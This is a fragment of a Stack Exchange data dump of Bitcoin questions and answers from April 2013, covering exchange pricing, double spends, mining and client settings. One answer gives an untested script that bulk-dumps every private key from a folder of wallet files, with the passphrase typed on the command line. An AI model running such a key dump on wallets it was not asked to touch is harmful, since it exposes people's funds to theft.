the net of 0.0005)&lt;/p&gt;&#xA;" OwnerUserId="4324" LastEditorUserId="4324" LastEditDate="2013-04-13T05:29:45.070" LastActivityDate="2013-04-13T05:29:45.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9681" PostTypeId="2" ParentId="9626" CreationDate="2013-04-13T05:22:11.747" Score="4" Body="&lt;p&gt;In a market exchange, price is determined as being where buy and sell orders meet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buyers not needing bitcoins immediately are then most interested in obtaining bitcoins at the lowest price possible.  Sellers not needing cash immediately are then most interested in obtaining the highest price as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of differences in deposit and withdrawal methods in addition to transaction fee costs and other factors even, exchanges might not be considered equal.  Therefore prices between exchanges could vary, significantly.  For instance, a seller wanting to unload a large amount of bitcoins would not want to sell on a smaller exchange as that would likely mean dropping the price to meet lower and lower bids.  That works against the goal of obtaining a high price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the price differences between exchanges are due to these exchange-specific attributes working in either the buyer's or seller's favor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, because BTC-E provides domestic cash out methods with banks that Mt. Gox doesn't support, sellers in that country (Russia) may be willing to sell at a lower price than at Mt. Gox.  If it was trivially easy to transfer funds to BTC-E the price would not vary much from Mt. Gox's price but since there are differences, the lower price at BTC-E is the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prices will generally travel in the same direction and to the same degree, however, they will generally remain different in price between the two pretty much consistently by about the same amount.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-13T05:22:11.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9683" PostTypeId="2" ParentId="9662" CreationDate="2013-04-13T05:49:11.637" Score="2" Body="&lt;p&gt;With Bitcoin-Qt/bitcoind there there is no callback or other real-time notification that a transaction that had previously been a valid 0/unconfirmed is not a transaction that will not confirm due to there being another confirmed transaction for the same unspent transaction output (UTXO).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new block is found, each transaction can be inspected (using Raw transactions) to determine the INPUT(s).   If the input was already used by a previously seen transaction, then the spend from the block would cause the earlier transaction to be an invalid double spend and it can be purged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin-Qt/bitcoind client will no longer display the 0/unconfirmed transaction for a payment received that becomes invalid after a double spend from a new block arrives.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-13T05:49:11.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9684" PostTypeId="2" ParentId="9127" CreationDate="2013-04-13T05:55:30.480" Score="0" Body="&lt;p&gt;As suggested by the other response. You can use pywallet just fine. Since you require the dumping of many wallets and would like a CLI solution, then a simple bash script + pywallet will do just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not by any means tested (i.e. backup all the wallets involved), but should do just fine:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Bash&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;echo &quot;Enter directory with all the wallet *.dat files live:&quot;&#xA;read walletdir&#xA;echo &quot;Enter passphrases for all the encrypted wallets in directory:&quot;&#xA;read passphrase&#xA;&#xA;for i in $walletdir/*.dat; do&#xA;    pywallet.py --dumpwallet --datadir=$walletdir --wallet=$i --passphrase=$passphrase&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Batch (Not my strong side)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;set /p walletdir=Wallet directory?:&#xA;set /p passphrase=Passphrase?:&#xA;&#xA;for /r %%i in (*) do pywallet.py --dumpwallet --datadir=%walletdir% --wallet=%%i --passphrase=%passphrase%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also if you'd like to isolate any information within the JSON dump itself you can surely do that too.  I'm not exactly sure the anticipated output of &lt;code&gt;--dumpwallet&lt;/code&gt; as I am not a user of pywallet, but I believe you can edit the pywallet.py code to change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print json.dumps(json_db, sort_keys=True, indent=4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print &quot;\n&quot;.join(private_keys)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In conclusion doing those 2 things will print out a long list of all the private keys to all the addresses to all the wallet files.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Disclaimer - Once again, I have not tested any of this&lt;/h2&gt;&#xA;" OwnerUserId="4323" LastActivityDate="2013-04-13T05:55:30.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9685" PostTypeId="1" AcceptedAnswerId="9686" CreationDate="2013-04-13T06:11:48.817" Score="1" ViewCount="710" Body="&lt;p&gt;I'm excited because I bought my first bitcoins today! (0.41 bitcoins at that!)&#xA;I'm wondering &lt;strong&gt;&lt;em&gt;how they are put in to circulation&lt;/em&gt;&lt;/strong&gt;? From my understanding it seems that the algorithm generates x bitcoins every hour, where x is a diminishing value, until eventually zero coins are being created... so let's say an hour from now 5 bitcoins are created... Where are they created and how are they put into circulation? Or are they created evenly throughout everyone's wallets and just distributed evenly (in which case I might receive 0.000001 bitcoins in the next hour?) And &lt;strong&gt;&lt;em&gt;what is a bitcoin miner?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;strong&gt;&lt;em&gt;what happens if my computer is destroyed&lt;/em&gt;&lt;/strong&gt; and my wallet file with my bitcoins is lost? Are those bitcoins gone forever? Wouldn't this cause the supply of bitcoins to go down overtime until eventually there are very few bitcoins left?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! God bless!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I bolded my 3 questions so that they are easy to find and answer).&lt;/p&gt;&#xA;" OwnerUserId="4325" LastEditorUserId="5406" LastEditDate="2016-04-09T08:36:56.433" LastActivityDate="2016-04-09T08:36:56.433" Title="How are bitcoins put in to circulation?" Tags="|transactions|wallet|client|mining-reward|algorithms|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-14T19:18:23.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="9686" PostTypeId="2" ParentId="9685" CreationDate="2013-04-13T06:26:42.393" Score="2" Body="&lt;p&gt;Let me answer your questions out of order:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What's the point of bitcoin mining / how they are put in to circulation?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/3201/2306&quot;&gt;https://bitcoin.stackexchange.com/a/3201/2306&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what happens if my computer is destroyed. Are those bit coins gone forever?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Wouldn't this cause the supply of bit coins to go down overtime until eventually there are very few bit coins left?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-04-13T06:26:42.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9688" PostTypeId="1" CreationDate="2013-04-13T07:46:33.430" Score="0" ViewCount="239" Body="&lt;p&gt;I've read many comments that mining is not profitable, or barely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the machines' data at &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Hardware Comparison&lt;/a&gt; in online mining calculators do show some with good profits. Am I missing something or misunderstanding the data? I only used the Mhash/s, watts, and price.&lt;/p&gt;&#xA;" OwnerUserId="4291" LastEditorUserId="5406" LastEditDate="2016-01-20T20:30:55.027" LastActivityDate="2016-01-20T20:30:55.027" Title="Online Mining Calculators using prebuilt machines data" Tags="|mining-profitability|mining-hardware|" AnswerCount="1" CommentCount="0" ClosedDate="2016-01-20T20:31:01.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="9689" PostTypeId="2" ParentId="9688" CreationDate="2013-04-13T07:52:21.867" Score="1" Body="&lt;p&gt;The problem is that the difficulty rating is going up, and going up significantly.  This happens for two reasons.  First, the number of mining rigs increases as people try to get involved with Bitcoin mining.  Second, ASIC-based miners which can run over 60GH/s using around 600W are just arriving in the market and once more generally available will cause a big leap in the difficulty.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-04-13T07:52:21.867" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9690" PostTypeId="2" ParentId="9666" CreationDate="2013-04-13T08:03:38.337" Score="3" Body="&lt;p&gt;The short answer is basically &quot;no&quot;. The thief will only hold the stolen coins for a short period of time. After that, it's all in the hands of innocent people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't do anything like this with cash. There are no &quot;hot lists&quot; of stolen bill serial numbers that cannot be spent. And for good reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big problem for Bitcoin is that we can't tell real transactions from sham transactions. If we see 25,000 stolen Bitcoins move from account A to account B to account C, we don't know if account B is the account of an innocent intermediary or another of the thief's accounts. And we don't know whether the holder of account C knew the coins were stolen or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After one theft last year, the thieves started giving stolen Bitcoins to random people. This was back when I was actively working on performance improvements for the Bitcoin client and one of my donation accounts received Bitcoins that trace pretty directly to the stolen ones. With the Satoshi client, I pretty much couldn't avoid transferring those coins if I had wanted to. They successfully &quot;contaminated&quot; hundreds of wallets and lots of innocent people found themselves using stolen coins. If it was an intentional way to hide in a crowd, it was pretty clever.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-14T14:16:17.530" LastActivityDate="2013-04-14T14:16:17.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9691" PostTypeId="2" ParentId="863" CreationDate="2013-04-13T08:19:58.843" Score="3" Body="&lt;p&gt;We do this all the time in the financial industry. It's called iceberging:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some markets allow dark liquidity to be posted inside the existing limit order book alongside public liquidity, usually through the use of iceberg orders. Iceberg orders generally specify an additional &quot;display quantity&quot;—i.e., smaller than the overall order quantity. The order is queued along with other orders but only the display quantity is printed to the market depth. When the order reaches the front of its price queue, only the display quantity is filled before the order is automatically put at the back of the queue and must wait for its next chance to get a fill. Such orders will, therefore, get filled less quickly than the fully public equivalent, and they often carry an explicit cost penalty in the form of a larger execution cost charged by the market. Iceberg orders are not truly dark either, as the trade is usually visible after the fact in the market's public trade feed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Dark_liquidity#Iceberg_orders&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="2306" LastEditDate="2013-04-13T16:11:12.567" LastActivityDate="2013-04-13T16:11:12.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9692" PostTypeId="1" AcceptedAnswerId="9742" CreationDate="2013-04-13T08:23:48.913" Score="5" ViewCount="1956" Body="&lt;p&gt;Why does electrum client need connection to server when recovering a wallet from a seed? Isn't the generation of private keys done locally? &lt;/p&gt;&#xA;" OwnerUserId="4330" LastActivityDate="2013-04-14T03:23:41.597" Title="Why does electrum need connection to server when recovering a wallet from a seed?" Tags="|wallet|electrum|seed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9693" PostTypeId="1" AcceptedAnswerId="9695" CreationDate="2013-04-13T08:30:20.320" Score="2" ViewCount="2203" Body="&lt;p&gt;I have everything set up normally. My only issue is that my data directory is in &lt;code&gt;C:\Users\User Name\AppData\Roaming\Bitcoin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normaly this is what you would want, but, if you noticed, my username has a space in it (obviously I changed it for privacy) so when I try to designate my data directory in the miner program it says the directory does not exist because the space in my username causes the directory link to break ( &lt;code&gt;C:\Users\User&lt;/code&gt; ) instead of the full link...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can change where &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt; stores its data by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And no, a re-directory won't work, because it can't find the location in the first place.&lt;/p&gt;&#xA;" OwnerUserId="4332" LastEditorUserId="1405" LastEditDate="2014-09-13T16:11:20.250" LastActivityDate="2014-09-13T16:11:20.250" Title="Data directory issue" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9694" PostTypeId="1" AcceptedAnswerId="9706" CreationDate="2013-04-13T08:42:42.127" Score="14" ViewCount="66240" Body="&lt;p&gt;I'd like to start mining Bitcoins on a CPU for testing purposes. I've downloaded CGMiner, compiled it and created a config file without any problems, however starting it results in an error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All devices disabled, cannot mine!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What do I need to do in order for CGMiner to consider my CPU a device?&lt;/p&gt;&#xA;" OwnerUserId="4331" LastActivityDate="2018-04-25T03:40:06.980" Title="How to configure CGMiner with CPU?" Tags="|linux|cpu|cgminer|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9695" PostTypeId="2" ParentId="9693" CreationDate="2013-04-13T08:51:33.887" Score="3" Body="&lt;p&gt;Run bitcoin with the parameter &lt;code&gt;-datadir=C:\New\Dir&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. create a shortcut and change &quot;target&quot; to &lt;code&gt;&quot;C:\Program Files (x86)\Bitcoin\bitcoin-qt.exe&quot; -datadir=C:\BitcoinData&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-04-13T08:51:33.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9697" PostTypeId="1" AcceptedAnswerId="9698" CreationDate="2013-04-13T09:26:29.193" Score="2" ViewCount="803" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/q/161/4095&quot;&gt;this question&lt;/a&gt;, there will only be 21 million bitcoins at most. These coins are being produced logarithmically by &lt;a href=&quot;https://bitcoin.stackexchange.com/q/148/4095&quot;&gt;mining&lt;/a&gt;, so the payout will decrease as time goes by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When all 21 million bitcoins are in circulation, will there be any reason for mining? Is mining only useful for us &quot;early adopters&quot; or will it be a permanent part of Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="4095" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-04-25T15:33:10.903" Title="Will mining in the (far) future produce a payout?" Tags="|mining-reward|mining-theory|" AnswerCount="2" CommentCount="1" ClosedDate="2013-04-19T16:32:37.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="9698" PostTypeId="2" ParentId="9697" CreationDate="2013-04-13T10:14:17.030" Score="5" Body="&lt;p&gt;Miners earning = block reward + fees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners will continue to get block reward in the next hundred years, but long before the reward &quot;stops&quot;, the miners will get most of their earnings from transaction fees, so they will continue to have economic incentive to mine, when the block reward stops.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-04-13T10:14:17.030" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9699" PostTypeId="2" ParentId="9697" CreationDate="2013-04-13T10:14:55.470" Score="3" Body="&lt;p&gt;The way I understand it, the transaction fee that is automatically recommended by Bitcoin clients is distributed to miners.&lt;br&gt;&#xA;That means, that even when there are now Bitcoins left to mine, miners still will earn coins because of the transaction fees. As far as I understand it, miners also serve the purpose to validate transactions and to ensure the integrity of the blockchain, and receive the transaction fees for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#How_much_will_the_transaction_fee_be.3F&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/FAQ#How_much_will_the_transaction_fee_be.3F&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4335" LastActivityDate="2013-04-13T10:14:55.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9701" PostTypeId="1" AcceptedAnswerId="10275" CreationDate="2013-04-13T11:13:23.707" Score="3" ViewCount="307" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8976/is-ripple-com-scalable&quot;&gt;This question&lt;/a&gt; asks about the scalability of Ripple in general, and has an ok answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't mention the &lt;a href=&quot;https://ripple.com/wiki/Distributed_Exchange&quot; rel=&quot;nofollow noreferrer&quot;&gt;distributed exchange built in Ripple&lt;/a&gt;. How is its current/future architecture designed to cope with scale?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-04-26T09:50:08.050" Title="Is Ripple's distributed exchange scalable?" Tags="|exchanges|ripple|scalability|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9702" PostTypeId="2" ParentId="9692" CreationDate="2013-04-13T12:19:38.330" Score="2" Body="&lt;p&gt;While the generation of the private keys can be locally, to recalculate the account's balance tied to the private keys needs data from the distributed ledger (blockchain). As the electrum client does not keep a replica of the ledger it will need access to recalculate the balance of the accounts and hence of the wallet as a whole.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-04-13T12:19:38.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9703" PostTypeId="2" ParentId="9678" CreationDate="2013-04-13T12:37:44.593" Score="13" Body="&lt;p&gt;The P2SH, as defined in &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0016&quot;&gt;BIP 16&lt;/a&gt;, states that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The purpose of pay-to-script-hash is to move the responsibility for&#xA;  supplying the conditions to redeem a transaction from the sender of&#xA;  the funds to the redeemer.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The benefit is allowing a sender to fund&#xA;  any arbitrary transaction, no matter how complicated, using a&#xA;  fixed-length 20-byte hash that is short enough to scan from a QR code&#xA;  or easily copied and pasted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hence it allows any client implementation to fund a transaction with an arbitrary script, without the client necessarily having to understand it. You see, there are some quite &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot;&gt;complicated possibilities&lt;/a&gt; for transactions to state their claiming conditions, which may put different implementations of clients under a dilemma: each time a new script type surfaces they'd have to implement it so that the client can send transactions that make use of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2SH has the advantage that the client does not necessarily have to know how to build such a script, it just has to know how (given an arbitrary script, or indeed its hash) building a script that first verifies the script and then uses that script to verify the claim itself works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suddenly, if I provide you with a hash of a claiming condition (script) you can send me bitcoins without actually having to know what security mechanisms I put in place to secure that only I can then spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an added bonus it really keeps the addresses small (25 byte script) which can easily be displayed in a QR code or may even be typed by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason transaction &lt;a href=&quot;https://blockchain.info/tx/4005d6bea3a93fb72f006d23e2685b85069d270cb57d15f0c057ef2d5e3f78d2&quot;&gt;4005d6be&lt;/a&gt; is included in so many blocks is all of those blocks are orphaned, so the miners that included them supported a version of P2SH but never got a majority. The fact that this transaction is still unconfirmed is probably due to it being not a true P2SH script.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-04-13T12:37:44.593" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9704" PostTypeId="1" CreationDate="2013-04-13T12:50:00.670" Score="1" ViewCount="16677" Body="&lt;p&gt;I'm really new to bitcoins. I have a good computer, cpu based at least. 8 core AMD processor with 4 ghz a core with decent amount of cache. I wanted to make some extra money and use my computer to get some bitcoins. Knowing nothing about the industry first thing I did was download wallet and GUIminer. Guiminer keeps taking all the cpu and generates up to 7 Mhash/s However it proves really ineffective, taking all that cpu and showing absolutely no progress on the BTC guild website. So I looked for an alternative method of bitcoin minig that will result in higher reward. I came to bitminter, downloaded their client. When I ran their client, it generated a 0.3 Mhps. This was really disappointing and I don't know why.&#xA;Well why is my mhps so low on bitminter, and where should I mine bitcoins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it says &quot;warning: electricity-wasting slow cpu&quot; but I have a beast CPU&lt;/p&gt;&#xA;" OwnerUserId="4339" LastEditorUserId="5406" LastEditDate="2016-04-28T12:44:42.063" LastActivityDate="2016-04-28T12:44:42.063" Title="I was getting 7 mhash/s on GUIminer.. but only 0.3 on bit minter?" Tags="|hashpower|mining-software|guiminer|bitminter|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9705" PostTypeId="2" ParentId="991" CreationDate="2013-04-13T12:50:22.633" Score="1" Body="&lt;p&gt;Long-term solution: what about including a low-cost ASIC in commodity hardware that everyone has, like their network router or cable modem, making gaining 51% of the hashing power by a single entity prohibitively expensive.&lt;/p&gt;&#xA;" OwnerUserId="4338" LastActivityDate="2013-04-13T12:50:22.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9706" PostTypeId="2" ParentId="9694" CreationDate="2013-04-13T13:30:01.850" Score="14" Body="&lt;p&gt;When building the source use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure --enable-cpumining &amp;amp;&amp;amp; make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the end of the configure stage you will see a list of what has been enabled, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;------------------------------------------------------------------------&#xA;cgminer 2.9.6&#xA;------------------------------------------------------------------------&#xA;&#xA;&#xA;Configuration Options Summary:&#xA;&#xA;  curses.TUI...........: FOUND: -lncurses&#xA;  OpenCL...............: NOT FOUND. GPU mining support DISABLED&#xA;  scrypt...............: Disabled (needs OpenCL)&#xA;  ADL..................: SDK NOT found, GPU monitoring support DISABLED&#xA;&#xA;  BitForce.FPGAs.......: Disabled&#xA;  Icarus.FPGAs.........: Disabled&#xA;  ModMiner.FPGAs.......: Disabled&#xA;  Ztex.FPGAs...........: Disabled&#xA;&#xA;  CPU Mining...........: Enabled&#xA;  ASM.(for CPU mining).: true&#xA;&#xA;Compilation............: make (or gmake)&#xA;  CPPFLAGS.............: &#xA;  CFLAGS...............: -g -O2&#xA;  LDFLAGS..............:  -lpthread &#xA;  LDADD................:  -lcurl   compat/jansson/libjansson.a -lpthread     -lm  &#xA;&#xA;Installation...........: make install (as root if needed, with 'su' or 'sudo')&#xA;  prefix...............: /usr/local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get a list of supported options with ./configure --help (standard behavior for configure)&lt;/p&gt;&#xA;" OwnerUserId="2366" LastEditorUserId="2366" LastEditDate="2013-05-29T01:53:01.373" LastActivityDate="2013-05-29T01:53:01.373" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9707" PostTypeId="1" AcceptedAnswerId="9710" CreationDate="2013-04-13T14:04:27.660" Score="1" ViewCount="72" Body="&lt;p&gt;I originally thought one could determine whether a transaction is unique or not by its id. However, if you perform &lt;code&gt;sendmany&lt;/code&gt;, then each of these transactions will share the same id, is that right? In this case, how would you go about determining if a transaction is unique?&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2013-04-13T16:11:50.057" Title="How do you determine if a transaction is unique?" Tags="|transactions|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9708" PostTypeId="2" ParentId="9704" CreationDate="2013-04-13T14:44:03.287" Score="2" Body="&lt;p&gt;As far as I can tell GUIMiner may have been failing, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why Bitminter says &quot;Warning&quot; is because CPUs are not effective for mining. (I have an Phenom II X6 @ 3.6 Ghz and get the same as you), My graphics card (ATI 7770) can only just mine them now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many cores is bitminter set to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation could be for you to mine litecoins and then exchange them for bitcoins. Litecoins mine better on the CPU.&lt;/p&gt;&#xA;" OwnerUserId="2529" LastActivityDate="2013-04-13T14:44:03.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9709" PostTypeId="1" AcceptedAnswerId="9737" CreationDate="2013-04-13T16:09:49.187" Score="40" ViewCount="35998" Body="&lt;p&gt;Do they just sit there unconfirmed (e.g. when you be evil and don't pay a tx fee) forever? Or do they get deleted after a few days?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="2306" LastEditDate="2013-04-13T16:30:58.363" LastActivityDate="2018-01-14T15:02:36.270" Title="Do unconfirmed transactions expire?" Tags="|transactions|unconfirmed-transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9710" PostTypeId="2" ParentId="9707" CreationDate="2013-04-13T16:11:50.057" Score="3" Body="&lt;p&gt;Each transaction can have multiple inputs and multiple outputs.  &lt;code&gt;sendmany&lt;/code&gt; is used when you want to send to many accounts.  It's all still one transaction.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-13T16:11:50.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9711" PostTypeId="1" CreationDate="2013-04-13T16:17:48.550" Score="0" ViewCount="7748" Body="&lt;p&gt;I want to move (not backup, move) the file to a different location. That way bitcoin wallet software open that file up.&lt;/p&gt;&#xA;" OwnerUserId="1498" LastActivityDate="2013-06-13T09:27:51.303" Title="How do I move wallet.dat file to a different location?" Tags="|wallet|" AnswerCount="1" CommentCount="5" ClosedDate="2013-06-17T04:31:05.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="9712" PostTypeId="1" AcceptedAnswerId="13518" CreationDate="2013-04-13T16:18:21.777" Score="4" ViewCount="2888" Body="&lt;p&gt;I am using bitcoin Qt&#xA;version v0.7.0-beta and when I tried to send a transaction (1.5 bitcoins) I received a message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;transaction creation failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what can be the reason? Few minutes ago I sent 0.1 bitcoins and it was accepted. Three hours ago I sent 0.3 bitcoins and it was accepted and received on the other side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to restart the wallet but this still happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I do have more than 1.5 bitcoins when I am trying to send them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a few observations. I tried to send 0.3 and 0.5 bitcoins one more time and it works with both of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just tried one more time to transfer some bitcoins to another account in BitCoin Qt (version v0.8.3-beta - the newest at the time of writing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This time I am getting some additional error message, which is still is not useful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Transaction too large&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and right after it another one&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Transaction creation failed!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;P.S.&lt;/code&gt; just few days ago I updated the client to &lt;code&gt;v0.8.5-beta&lt;/code&gt; but the problem still exist.&#xA;I really want to spend my bitcoins, but can not do this. I also tried different addresses. &lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="1891" LastEditDate="2013-09-29T10:06:50.353" LastActivityDate="2013-10-01T08:44:15.410" Title="transaction creation failed" Tags="|bitcoin-core|error|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
